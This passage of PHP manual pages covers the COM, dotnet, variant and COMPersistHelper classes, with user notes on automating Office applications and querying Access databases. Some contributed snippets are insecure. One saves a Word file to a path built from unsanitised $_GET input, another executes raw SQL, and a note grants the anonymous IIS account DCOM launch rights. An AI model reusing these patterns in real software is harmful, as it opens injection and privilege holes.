In this case, I'm using "sampleInvoice.php"

Fields that will be replaced have been marked as ||CUSTOMER ID|| and so on.

<?php
$dataText = "";

// open the file
if(!($fp= fopen ("C:\wordTest\sampleInvoice.rtf", "r"))) die ("Can't open");
$dataText = fread($fp, 2000000);
fclose ($fp);

// replace the template fields
$dataText = str_replace ("||CUSTOMER ID||",$customerIDValue, $dataText);

// save the file as an rtf
$timeStamp = time();
$saveFile = "C:/wordTemp/".$timeStamp."-invoice-".$customerIDValue.".rtf";
if(!($fq= fopen ($saveFile, "w+"))) die ("Can't open");
fwrite ($fq, $dataText);
fclose ($fq);

// initialize the word components
$word = new COM("word.application") or die("Unable to instantiate Word");

print "Loaded word version ($word->Version)\n";
$word->visible = true;
$word->Documents->Add();

// open the file
$word->Documents->Open("$saveFile");

// output the file to the default printer
$word->ActiveDocument->PrintOut(1);

// shutdown word
$word->Quit();
?>
drich at nea-online dot net 18-Nov-2003 02:47
Changing Fields (Not FORMFIELDS) In MS Word....

Searched most of the afternoon for this, as it is something needed here for our projects.  Maybe this can help someone else as well.

<?php
$input = "x:\\path\\to\\test.doc";
$word = @new COM("word.application") or die("Unable to instantiate Word");
print "Loaded Word, version {$word->Version}\n<br>";
$word->Visible = 1;
print "Set Word To Visible<br>";
$word->Documents->Open($input);
print "Opened $input<br>";
$word->Activate;
print "Activated Word<br>";

print "Editing Fields<br>";
$Field = $word->ActiveDocument->Fields(1);
$fieldData = $Field->Result;
$fieldData->Text = "Testing";

// Print the document.
$word->Printout();

// closing word
$word->Quit();

// free the object
$word->Release();
$word = null;

?>
admin at CdnDomainRegistry dot ca 20-Sep-2003 03:57
Here's an example/comparison of VBScript vs PHP's COM component to connect to an IIS Webserver.
The examples backup the IIS MetaBase (your server's website(s) configuration) in IIS.

VBScript:
  Dim obj, iFlags
  Set obj = GetObject("IIS://LocalHost")
  ' Backup to next available version number.
  ' Set flags to save the metabase first and
  ' force the backup even if save fails.
  iFlags = (MD_BACKUP_SAVE_FIRST or MD_BACKUP_FORCE_BACKUP)
  obj.Backup "MyBackups", MD_BACKUP_NEXT_VERSION, iFlags
  ' Note: The above was copied from Microbucks.
  ' This is how you would have to do it.
  ' i.e. use the actual constant's value.
  iFlags = (2 or 4)
  obj.Backup "MyBackups", &HFFFFFFFF, iFlags

PHP:
  <?php
  $obj = new COM("IIS://LocalHost")or die("Unable to instantiate IIS");
  $err = com_invoke ($obj, "Backup", "MyBackups", "&HFFFFFFFF", 2|4 );
  $obj = null;
  print "err=".$err; // returns 0 on success
  ?>

Glen
rickardsjoquist at hotmail dot com 09-Jul-2003 10:33
If you want to use a DSN-less connection to a database (access for example) and return the results of a query as a multidimensional array with the fieldnames as identifier try this. Hope it helps someone :-)
--------------------------------------------------------

<?php
function db($sql) {
    $c = new COM("ADODB.Connection");
    $c->open('DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=' . realpath("relative_path/db.mdb"));
    $r = $c->execute($sql);
    $i = 0;
    $num_fields = $r->fields->count();
    while (!$r->EOF)
        {
            for($j = 0;$j<$num_fields;$j++) {
            $key = $r->Fields($j);
            $r_items[$i][$key->name] = $key->value;
        }
        $i++;
        $r->MoveNext();
    }
    $r->close();
    $c->close();
    $r = null;
    $c = null;
    return $r_items;
}
?>

--------------------------------------------------------
use it like this:
--------------------------------------------------------
<?php
$results = db("SELECT field_a, field_b FROM table");
foreach($result as $i => $item) {
    echo $item['field_a'];
    echo $item['field_b'];
}
?>
--------------------------------------------------------
You can also use: print_r($result); if you want the structure of the array to be printed.
info at sharedprojects dot nl 16-Jun-2003 09:41
<?php
// An other way to connect
// this connect to a ODBC-datasourced added in the
// ODBC Data Source Administrator under System DSN

$odbcname = "northwind";
$conn->Open("DSN=$odbcname");
?>
eguan1ao_at_yahoo_dot_com 20-Nov-2002 01:35
An example of connecting to a Microsoft Access database, executing an SQL query, and displaying the results in HTML.

<?php

$db = 'C:\\Program Files\\Microsoft Office\\Office\\Samples\\Northwind.mdb';

$conn = new COM('ADODB.Connection');

// Two ways to connect. Choose one.
$conn->Open("Provider=Microsoft.Jet.OLEDB.4.0; Data Source=$db");
//$conn->Open("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=$db");

$sql = 'SELECT   ProductName, QuantityPerUnit, UnitPrice
         FROM     Products
          ORDER BY ProductName';
$rs = $conn->Execute($sql);

?>

<table>
<tr>
          <th>Product Name</th>
         <th>Quantity Per Unit</th>
         <th>Unit Price</th>
</tr>
<?php while (!$rs->EOF): ?>
         <tr>
                  <td><?= $rs->Fields['ProductName']->Value ?></td>
                   <td><?= $rs->Fields['QuantityPerUnit']->Value ?></td>
                  <td><?= $rs->Fields['UnitPrice']->Value ?></td>
          </tr>
         <?php $rs->MoveNext() ?>
<?php endwhile ?>
</table>

<?php

$rs->Close();
$conn->Close();

?>
yinon at xacct dot com 06-Apr-2002 12:33
In order to get the Word exaple running, do the following on the server side.
Worked for me...
1. Click START-->RUN and enter "dcomcnfg"
2. In the "Applications" tab, go down to "Microsoft Word Document"
3. Click PROPERTIES button
4. Go to the "Security" Tab
5. Click "Use custom access permissions", and then click EDIT
6. Click ADD and then click SHOW USERS
7. Highlight the IIS anonymous user account (usually IUSR_<machinename>), click ADD
8. Go back to the "Security" tab by hitting OK
9. Click "Use custom launch permissions", and the click EDIT
10. Click ADD and then click SHOW USERS
11. Highlight the IIS anonymous user account (usually IUSR_<machinename>), click ADD
12. Hit OK, and then hit APPLY.

Also, you should look at the "Identity" tab in the Microsoft Word Document PROPERTIES and see that it is set to "Interactive User"

ALSO, log into the machine AS the IUSR_<machinename> account, start word, and make sure to click through the dialog boxes that Word shows the first time it is run for a certain user.  In other words, make sure Word opens cleanly for the IUSR_ user.

More useful information could be found here:
http://www.email-screen.com/support-doc2txt.html
mstaiger at informatik dot uni-siegen dot de 23-Jan-2002 06:17
The example above (MS Word) is quiet unsatisfying, as I find. Especially since I couldn't find anybody who actually got it running, including myself.

You might therefore give this Powerpoint-example a chance:
----------------------------------
#Instantiate a PowerPoint object.
$ppoint = new COM("PowerPoint.application") or die("Unable to instantiate PowerPoint");

<?php
#Create a new presentation
$ppoint->Presentations->Add() or die ("Could not create presentation");

//Add a slide
$slide=$ppoint->Presentations[1]->Slides->Add(1,1);

//Get the name of this slide
$slidename = $slide->Name();
echo"<br>slidename : $slidename";

//Change the name of this new slide
$slide->Name = "New Slidename";
$slidename = $slide->Name();
echo"<br>NEW slidename : $slidename";

//Save the presentation
$ppoint->Presentations[1]->SaveAs("c:/InetPub/www/test.ppt");
$ppoint->Presentations[1]->Close();

//closing powerpoint
$ppoint->Quit();

//free the object
$ppoint->Release();
$ppoint = null;
-----------------------
?>

the config is :
w2k-server/office2k/iis5/php 4.1.1 isapi

If you happen to run into a working word2k-example, please let me know.

Marc


com class constructor

  • ? com
  • dotnet ?
  • PHP Manual
  • com
  • com class constructor

com::__construct

(PHP 4 > 4.1.0, PHP 5, PHP 7, PHP 8)

com::__construct — com class constructor

说明

public com::__construct(
string $module_name,
array|string|null $server_name = null,
int $codepage = CP_ACP,
string $typelib = ""
)

Constructs a new com object.

参数

module_name
Can be a ProgID, Class ID or Moniker that names the component to load. A ProgID is typically the application or DLL name, followed by a period, followed by the object name. e.g: Word.Application. A Class ID is the UUID that uniquely identifies a given class. A Moniker is a special form of naming, similar in concept to a URL scheme, that identifies a resource and specifies how it should be loaded. As an example, you could load up Word and get an object representing a word document by specifying the full path to the word document as the module name, or you can use LDAP: as a moniker to use the ADSI interface to LDAP.
server_name
The name of the DCOM server on which the component should be loaded and run. If null, the object is run using the default for the application. The default is typically to run it on the local machine, although the administrator might have configured the application to launch on a different machine. If a non-null value is specified for server, PHP will refuse to load the object unless the com.allow_dcom php.ini option is set to true.

If server_name is an array, it should contain the following elements (case sensitive!). Note that they are all optional (although you need to specify both Username and Password together); if you omit the Server setting, the default server will be used (as mentioned above), and the instantiation of the object will not be affected by the com.allow_dcom php.ini directive.

DCOM server name
key | type | description
Server | string | The name of the server.
Username | string | The username to connect as.
Password | string | The password for Username.
Domain | string | The domain of server.
Flags | integer | One or more of the following constants, logically OR'd together: CLSCTX_INPROC_SERVER, CLSCTX_INPROC_HANDLER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER, CLSCTX_SERVER and CLSCTX_ALL. The default value if not specified here is CLSCTX_SERVER if you also omit Server, or CLSCTX_REMOTE_SERVER if you do specify a server. You should consult the Microsoft documentation for CoCreateInstance for more information on the meaning of these constants; you will typically never have to use them.

codepage
Specifies the codepage that is used to convert strings to unicode-strings and vice versa. The conversion is applied whenever a PHP string is passed as a parameter or returned from a method of this COM object. The code page is sticky, which means that it will propagate to objects and variants returned from the object. Possible values are CP_ACP (use system default ANSI code page - the default if this parameter is omitted), CP_MACCP, CP_OEMCP, CP_SYMBOL, CP_THREAD_ACP (use codepage/locale set for the current executing thread), CP_UTF7 and CP_UTF8. You may also use the number for a given codepage; consult the Microsoft documentation for more details on codepages and their numeric values.

User Contributed Notes

There are no user contributed notes for this page.


The dotnet class

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

简介

The dotnet class allows you to instantiate a class from a .Net assembly and call its methods and access its properties, if the class and the methods and properties are » visible to COM.

Neither instantiating static classes nor calling static methods is supported. Instantiating generic classes such as System.Collections.Generic.List is not supported either.

Some .Net classes do not implement IDispatch, so while they can be instantiated, calling methods or accessing properties on these classes is not supported.

Note:

You need to install the .Net runtime on your web server to take advantage of this feature.

Note:

Prior to PHP 8.0.0, .Net framework 4.0 and later were not supported by the dotnet class. If assemblies had been registered with regasm.exe, the classes could be instantiated as com objects, though. As of PHP 8.0.0, .Net framework 4.0 and later are supported via the php.ini directive com.dotnet_version.

类摘要

class dotnet extends variant {
/* 方法 */
public __construct(string $assembly_name, string $datatype_name, int $codepage = CP_ACP)
}

Overloaded Methods

The returned object is an overloaded object, which means that PHP does not see any fixed methods as it does with regular classes; instead, any property or method accesses are passed through to COM and from there to DOTNET. In other words, the .Net object is mapped through the COM interoperability layer provided by the .Net runtime.

Once you have created a dotnet object, PHP treats it identically to any other COM object; all the same rules apply.

dotnet examples

Example #1 dotnet example

<?php
$stack = new dotnet("mscorlib", "System.Collections.Stack");
$stack->Push(".Net");
$stack->Push("Hello ");
echo $stack->Pop() . $stack->Pop();
?>

Table of Contents

  • dotnet::__construct — dotnet class constructor

User Contributed Notes

Bitterblue 30-Jul-2018 02:54
I worked with this the last few days and figured it out.
On stack overflow: https://stackoverflow.com/a/51541801/1442225
jcastromail at yahoo dot es 18-Nov-2016 09:04
using dotnet with visual studio 2015 (and net framework 4.6.1 but its the same with others).

1) In visual studio 2015, created a library project (in this case a C#)
2) Double click in the project -> build events -> post build

"C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.6 Tools\gacutil.exe"  /i "$(TargetPath)"

When the project its compiled, it adds to the GAC automatically. Please changes the bin folder according your installation.

3) in tools -> External tools, add the next external tool
Title: Get Qualified Assembly Name
Command: Powershell.exe
Arguments: -command "[System.Reflection.AssemblyName]::GetAssemblyName(\"$(TargetPath)\").FullName"
User Output Windows : checks

4) run tools -> Get qualified Assembly Name and checks the output windows

5) Creates the next class (Class1 may be its already creates)

namespace ClassLibrary2 // <-- changes it.
{
    public class Class1
    {
        public string Ping(string t1,string t2)
        {
            return "pong "+t1+t2;
        }
    }
}

6) in php

$full="ClassLibrary2, Version=1.0.0.0, Culture=neutral, PublicKeyToken=746927f9726d7222"; // its from the output windows
$class = 'ClassLibrary2.Class1'; // its the namespace and the class.

 $stack = new DOTNET($full,$class);
 $r1="hello";
 $r2="world";
 echo $stack->Ping($r1,$r2);

IMPORTANT NOTE: PHP "caches" the dll library, so every time that the dll library is compiled, the php service should be restarted (restart the apache service).
IMPORTANT NOTE 2: May be you should run Visual Studio as an Administrator.
juan156_elias at gmail dot com 04-Jun-2015 08:00
Using COM and DOTNET directly is quite a nightmare. DOTNET only allows you to target .Net 3.5 and below, and all the binaries need to be COM  Visible. This basically means that you will need to write your own .Net binaries for everything, at least wrappers.

There is a library out there (NetPhp) built on top of the COM class that will solve all these issues, so you can get code like this:

$manager = new \NetPhp\Core\NetManager();
$manager->RegisterAssembly('mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'mscorlib');
$manager->RegisterClass('mscorlib', 'System.IO.File', 'File');
$manager->RegisterClass('mscorlib', 'System.IO.FileOptions', 'FileOptions');
$file = $manager->Create('mscorlib', 'File');
$fileoptions = $manager->Create('mscorlib', 'System.IO.FileOptions')->Enum('Encrypted');

$file->Create("C:\\www\\prueba.tres", 2048, $fileoptions);
m dot atifmajeed at gmail dot com 11-Feb-2015 04:29
How to use donet class for creating object of parameterized constructor

http://php.net/manual/en/class.dotnet.php

private SGF ingerPrintManager m_FPM; //member variable
SGFPMDeviceName device_name = SGFPMDeviceName.DEV_ FDU02 ;
m_FPM = new SGF ingerPrintManager (device_name);
ricardopsj at gmail dot com 14-Apr-2014 01:30
Create an Excel Workbook using DOTNET.

<?php

$full_assembly_string = 'Microsoft.Office.Interop.Excel, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c';
$full_class_name = 'Microsoft.Office.Interop.Excel.ApplicationClass';

$e = new DOTNET($full_assembly_string, $full_class_name);
$wb = $e->workbooks->add();
$Precios = $wb->Worksheets(1);
$Precios->Name = 'Precios';
$Venta = $wb->Worksheets(2);
$Venta->Name = 'Venta';
$Tons = $wb->Worksheets(3);
$Tons->Name = 'Tons';

$Meses = Array('2014-01', '2014-02', '2014-03', '2014-04', '2014-05', '2014-06', '2014-07', '2014-08', '2014-09', '2014-10', '2014-11', '2014-12');
foreach ($Meses as $Numero => $Mes) {
   $Precios->Range("A" . ($Numero+1))->Value = $Mes;
}

$wb->SaveAs('c:\temp\Meta.2014.05.xlsx');
$wb->Close();

?>

Go to c:\windows\assembly to know what value to put in $full_assembly_string.

If you don't know the assembly, use http://www.red-gate.com/products/dotnet-development/reflector/ to browse it, use what you learn there to fill $full_class_name.

Enjoy,

Ricardo.
jan dot zahradnik at data3s dot com 06-Jan-2014 09:17
PHP searches only GAC for .NET 2.0 runtime, so your DLL has to be targeted 2.0 - 3.5 framework.

Also it recognize only classes, not stucts, so you can't instantiate DateTime for example.
sandips (yardi) 29-Jun-2011 02:57
exercise to try different type of method signature and calling them in php.

VB.net Code
Public Class Class1
    Public Function SayHello(ByVal input As String) As String
        Return "Php input: " & input & "</BR>Dot net library said- 'Hello'"
    End Function
    Public Function ConcatArray(ByVal Values As Object()) As String
        Dim ret As String = String.Empty
        For Each sval As Object In Values
            ret = ret & sval.ToString & " "
        Next
        Return ret.Substring(1, ret.Length - 1)
    End Function
    Public Function ReturnObject(ByVal FirstName As String, ByVal LastName As String) As Name
        Dim obj As New Name
        obj.FirstName = FirstName
        obj.LastName = LastName
        Return obj
    End Function
'To explain Byref doesn't work with php
    Public Function CallByRef(ByRef value As String) As String
        value = "Value to ByRef parameter set in dot net."
        Return "ByRef CallByRef() method called."
    End Function
End Class

Public Class Name
    Public FirstName As String = String.Empty
    Public LastName As String = String.Empty
End Class

Php code to test .net library
<?php
  $class1 = new DOTNET("DotNetTest,"
              ."Version=1.0.0.0,"
                          ."Culture=neutral,"
                      ."PublicKeyToken=6675daefc27eafc4"
              ,"DotNetTest.Class1");
 echo $class1->SayHello("Hi PHP!!!!");
 echo "</P>";

 $parameter[0] = 12345;
 $parameter[1] = "MyString";
 $parameter[2] = false;
 $ret = $class1 -> ConcatArray($parameter);
 echo $ret;
 echo "</P>";

 $Obj = $class1 -> ReturnObject("Sandip","Shimpi");
 echo $Obj->FirstName." ".$Obj->LastName;

 echo "</P>";
 $myByRef = "";
 echo "Value of ByRef Variable before calling .net CallByRef() method: ".$myByRef;
 echo "</BR>";
 echo $class1 -> CallByRef($myByRef);
 echo "</BR>";
 echo "Now value of ByRef Variable: ".$myByRef;
 echo $myByRef;
?>
Anonymous 04-Jul-2010 05:17
As suggested before, you'll likely have to use a full assembly string including the assembly name, the assembly version (not the dll file version), the culture, and the public key token.  Otherwise, you'll get a 'file not found' catchable error.  To quickly find this on your own system to get the ball rolling, open C:\Windows\assembly in explorer (not in cmd as that shows a different view), scroll down the list until you find the assembly you want to work with, hover the mouse over it, and the tooltip shows the exact string to use (though processcorArchitecture if shown is optional).  You'll have to use .net utilities or other methods to automate collecting this info on other machines.

You'll also have to use the fully-qualified class name.  In other words, if you want to use the 'Form' class within 'System.Windows.Forms', you have to use the full class hierarchy 'System.Windows.Forms.Form'.  Otherwise you'll get an unhelpful 'Failed to instantiate .Net object' catchable error.

The following example shows the correct syntax to use the 'Form' class to pop up a blank form from php-cli, which can be used in leu of many Windows GUI PHP extensions out there.  Replace Version with your local version, and PublicKeyToken with your own local key token.

<?php

$full_assembly_string = 'System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=a8425bc35256e463';
$full_class_name = 'System.Windows.Forms.Form';
$form = new DOTNET($full_assembly_string, $full_class_name);

// code to add buttons, menus, text, etc

$form->Show();

$form_event = '';
while($form_event !== 'close') {

  // handle form functions and events

  }
?>
murat at muratyaman dot co dot uk 11-Feb-2010 05:46
First, I hit the same mine:

"... Failed to instantiate .Net object [Unwrapped, QI for IDispatch] [0x80004002] No such interface supported ..."

In order to load the assembly and class in it successfully, I had to change my AssemblyInfo.cs file regarding the visibility of the types in it.

// some code above

// This sets the default COM visibility of types in the assembly to invisible.
// If you need to expose a type to COM, use [ComVisible(true)] on that type.
[assembly: ComVisible(true)]

// some code below
m holmes at windowlogic dot com dot au 21-Sep-2009 09:31
For strongly-named NET assemblies that are registered in the GAC, you can just use the assembly name
e.g: $x = new DOTNET ("myAssembly", "myClass");

For strongly-named NET assemblies that aren't registered in the GAC, you need to use the full assembly string
e.g. $x = new DOTNET('myAssembly, Version=X.X.X.X, Culture=neutral, PublicKeyToken=ZZZZZZZZZZZZ', 'myClass');

You can't instantiate assemblies that haven't been strongly named.

"Strongly named" means that the assembly has a public key. To strongly name your own classes in Visual Studio, go to the Signing tab in the project properties and click the 'sign the assembly' box and choose a key file name.

To register an assembly in the GAC, there are various tools around to do that, but the easiest method is to drag-and-drop the compiled assembly into c:\windows\assembly using windows explorer (a shell extension is installed by default that handles registering dragged files).
kschroeder at mirageworks dot com 08-Apr-2009 11:55
In order to find out what the PublicKeyToken value is, open up Explorer and go to c:\windows\assembly.  In that directory you will see all of the registered assemblies along with their PublicKeyToken value.
sam at bitopia dot co dot uk 02-May-2008 08:54
If you want to load any other assembly apart from mscorlib, you'll need to include it like the following

$x = new DOTNET('The.Assembly.Name, Version=X.X.X.X, Culture=neutral, PublicKeyToken=ZZZZZZZZZZZZ', 'The.Class.Name');

Replace all relevant details.


dotnet class constructor

  • ? dotnet
  • variant ?
  • PHP Manual
  • dotnet
  • dotnet class constructor

dotnet::__construct

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

dotnet::__construct — dotnet class constructor

说明

public dotnet::__construct(string $assembly_name, string $datatype_name, int $codepage = CP_ACP)

Constructs a new dotnet object.

参数

assembly_name
Specifies which assembly should be loaded.
datatype_name
Specifices which class in that assembly to instantiate.
codepage
Codepage to use for unicode string transformations; see the com class for more details on code pages.

User Contributed Notes

There are no user contributed notes for this page.


variant class

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

简介

The VARIANT is COM's equivalent of the PHP zval; it is a structure that can contain a value with a range of different possible types. The variant class provided by the COM extension allows you to have more control over the way that PHP passes values to and from COM.

类摘要

class variant {
/* 方法 */
public __construct(mixed $value = null, int $type = VT_EMPTY, int $codepage = CP_ACP)
}

variant examples

Example #1 variant example

<?php
$v = new variant(42);
print "The type is " . variant_get_type($v) . "<br/>";
print "The value is " . $v . "<br/>";
?>

Note:

When returning a value or fetching a variant property, the variant is converted to a PHP value only when there is a direct mapping between the types that would not result in a loss of information. In all other cases, the result is returned as an instance of the variant class. You can force PHP to convert or evaluate the variant as a PHP native type by using a casting operator explicitly, or implicitly casting to a string by printing it. You may use the wide range of variant functions to perform arithmetic operations on variants without forcing a conversion or risking a loss of data.

See also variant_get_type().

Table of Contents

  • variant::__construct — variant class constructor

User Contributed Notes

darren at dcook dot org 17-Jul-2007 05:59
If you are frustrated that print_r($obj) (where $obj is something returned from a call to a function on a COM object) does not return anything helpful, and that variant_get_type($obj) just returns a number, the function you are actually after is:
  com_print_typeinfo($obj);

It lists all functions, variables, their types in a human-readable (well, programmer-readable) format. Lovely!
richard dot quadling at carval dot co dot uk 26-Feb-2003 05:50
With thanks to Harald Radi and Wez Furlong.

Some VBA functions have optional parameters. Sometimes the parameters you want to pass are not consecutive.

e.g.

GoTo What:=wdGoToBookmark, Name="BookMarkName"
GoTo(wdGoToBookmark,,,"BookMarkName)

In PHP, the "blank" parameters need to be empty.

Which is ...

<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.


variant class constructor

  • ? variant
  • COMPersistHelper ?
  • PHP Manual
  • variant
  • variant class constructor

variant::__construct

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

variant::__construct — variant class constructor

说明

public variant::__construct(mixed $value = null, int $type = VT_EMPTY, int $codepage = CP_ACP)

Constructs a new variant object.

参数

value
Initial value. If omitted, or set to null an VT_EMPTY object is created.
type
Specifies the content type of the variant object. Possible values are one of the VT_XXX 预定义常量. PHP can detect parameters passed by reference automatically; they do not even need to be passed as variant objects. Consult the MSDN library for additional information on the VARIANT type.
codepage
Specifies the codepage that is used to convert strings to unicode. See the parameter of the same name in the com class for more information.

User Contributed Notes

There are no user contributed notes for this page.


The COMPersistHelper class

(PHP 5, PHP 7, PHP 8)

简介

COMPersistHelper improves the interoperability of COM and PHP with regard to the php.ini directive open_basedir, and stream resources.

类摘要

final class COMPersistHelper {
/* 方法 */
public __construct(?variant $variant = null)
public GetCurFileName(): string|false
public GetMaxStreamSize(): int
public InitNew(): bool
public LoadFromFile(string $filename, int $flags = 0): bool
public LoadFromStream(resource $stream): bool
public SaveToFile(?string $filename, bool $remember = true): bool
public SaveToStream(resource $stream): bool
}

Table of Contents

  • COMPersistHelper::__construct — Construct a COMPersistHelper object
  • COMPersistHelper::GetCurFileName — Get current filename
  • COMPersistHelper::GetMaxStreamSize — Get maximum stream size
  • COMPersistHelper::InitNew — Initialize object to default state
  • COMPersistHelper::LoadFromFile — Load object from file
  • COMPersistHelper::LoadFromStream — Load object from stream
  • COMPersistHelper::SaveToFile — Save object to file
  • COMPersistHelper::SaveToStream — Save object to stream

User Contributed Notes

There are no user contributed notes for this page.


Construct a COMPersistHelper object

  • ? COMPersistHelper
  • COMPersistHelper::GetCurFileName ?
  • PHP Manual
  • COMPersistHelper
  • Construct a COMPersistHelper object

COMPersistHelper::__construct

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::__construct — Construct a COMPersistHelper object

说明

public COMPersistHelper::__construct(?variant $variant = null)

Constructs a persistence helper object, usually associated with a variant.

参数

variant
A COM object which implements IDispatch. To be able to successfully call any of COMPersistHelper's methods, the object has to implement IPersistFile, IPersistStream and/or IPersistStreamInit. Passing null as variant is only useful if the object is to be loaded from a stream by calling COMPersistHelper::LoadFromStream().

User Contributed Notes

There are no user contributed notes for this page.


Get current filename

  • ? COMPersistHelper::__construct
  • COMPersistHelper::GetMaxStreamSize ?
  • PHP Manual
  • COMPersistHelper
  • Get current filename

COMPersistHelper::GetCurFileName

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::GetCurFileName — Get current filename

说明

public COMPersistHelper::GetCurFileName(): string|false

Retrieves the current name of the file associated with the object.

参数

此函数没有参数。

返回值

Returns the current name of the file associated with the object.

错误／异常

A com_exception is thrown if the associated object does not implement the COM interface IPersistFile, or when calling the IPersistFile::GetCurFile() method failed.

User Contributed Notes

There are no user contributed notes for this page.


Get maximum stream size

  • ? COMPersistHelper::GetCurFileName
  • COMPersistHelper::InitNew ?
  • PHP Manual
  • COMPersistHelper
  • Get maximum stream size

COMPersistHelper::GetMaxStreamSize

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::GetMaxStreamSize — Get maximum stream size

说明

public COMPersistHelper::GetMaxStreamSize(): int

Retrieves the size of the stream (in bytes) needed to save the object.

参数

此函数没有参数。

返回值

Returns the size of the stream (in bytes) needed to save the object.

错误／异常

A com_exception is thrown if the associated object does neither implement the COM interface IPersistStream nor IPersistStreamInit, or when calling the IPersistStream::GetSizeMax() method failed.

User Contributed Notes

There are no user contributed notes for this page.


Initialize object to default state

  • ? COMPersistHelper::GetMaxStreamSize
  • COMPersistHelper::LoadFromFile ?
  • PHP Manual
  • COMPersistHelper
  • Initialize object to default state

COMPersistHelper::InitNew

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::InitNew — Initialize object to default state

说明

public COMPersistHelper::InitNew(): bool

Initializes an object to a default state.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

A com_exception is thrown if the associated object does not implement the COM interface IPersistStreamInit, or when calling its IPersistStreamInit::Init() method failed.

User Contributed Notes

There are no user contributed notes for this page.


Load object from file

  • ? COMPersistHelper::InitNew
  • COMPersistHelper::LoadFromStream ?
  • PHP Manual
  • COMPersistHelper
  • Load object from file

COMPersistHelper::LoadFromFile

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::LoadFromFile — Load object from file

说明

public COMPersistHelper::LoadFromFile(string $filename, int $flags = 0): bool

Opens the specified file and initializes an object from the file contents.

参数

filename
The name of the file from which to load the object.
flags
The access mode to be used when opening the file. Possible values are taken from the » STGM enumeration. The method can treat this value as a suggestion, adding more restrictive permissions if necessary. If flags is 0, the implementation is supposed to open the file using whatever default permissions are used when a user opens the file.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

A com_exception is thrown if the associated object does not implement the COM interface IPersistFile, or when calling the IPersistFile::Load() method failed.

User Contributed Notes

There are no user contributed notes for this page.


Load object from stream

  • ? COMPersistHelper::LoadFromFile
  • COMPersistHelper::SaveToFile ?
  • PHP Manual
  • COMPersistHelper
  • Load object from stream

COMPersistHelper::LoadFromStream

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::LoadFromStream — Load object from stream

说明

public COMPersistHelper::LoadFromStream(resource $stream): bool

Initializes an object from the stream where it was saved previously.

参数

stream
The stream resource from which to load the object.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

A com_exception is thrown if the associated object does not implement the COM interface IPersistStream, or when calling the IPersistStream::Load() method failed.

User Contributed Notes

There are no user contributed notes for this page.


Save object to file

  • ? COMPersistHelper::LoadFromStream
  • COMPersistHelper::SaveToStream ?
  • PHP Manual
  • COMPersistHelper
  • Save object to file

COMPersistHelper::SaveToFile

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::SaveToFile — Save object to file

说明

public COMPersistHelper::SaveToFile(?string $filename, bool $remember = true): bool

Saves a copy of the object to the specified file.

参数

filename
The name of the file to which to save the object.
remember
Indicates whether the filename parameter is to be used as the current working file. If true, filename becomes the current file and the object is supposed to clear its dirty flag after the save. If false, this save operation is a "Save A Copy As ..." operation. In this case, the current file is unchanged and the object is not supposed to clear its dirty flag.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

A com_exception is thrown if the associated object does not implement the COM interface IPersistFile, or when calling the IPersistFile::Save() method failed.

示例

Example #1 Basic COMPersistHelper::saveToFile() Usage

<?php
$word = new COM('Word.Application');
$doc = $word->Documents->Add();
$ph = new COMPersistHelper($doc);
$ph->SaveToFile('C:\\Users\\cmb\\Documents\\my.docx');
$word->Quit();
?>

User Contributed Notes

There are no user contributed notes for this page.


Save object to stream

  • ? COMPersistHelper::SaveToFile
  • com_exception ?
  • PHP Manual
  • COMPersistHelper
  • Save object to stream

COMPersistHelper::SaveToStream

(PHP 5, PHP 7, PHP 8)

COMPersistHelper::SaveToStream — Save object to stream

说明

public COMPersistHelper::SaveToStream(resource $stream): bool

Saves an object to the specified stream.

参数

stream
The stream resource to which to save the object.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

A com_exception is thrown if the associated object does neither implement the COM interface IPersistStream nor IPersistStreamInit, or when calling the IPersistStream::Save() method failed.

User Contributed Notes

There are no user contributed notes for this page.


The com_exception class

(PHP 5, PHP 7, PHP 8)

简介

类摘要

final class com_exception extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
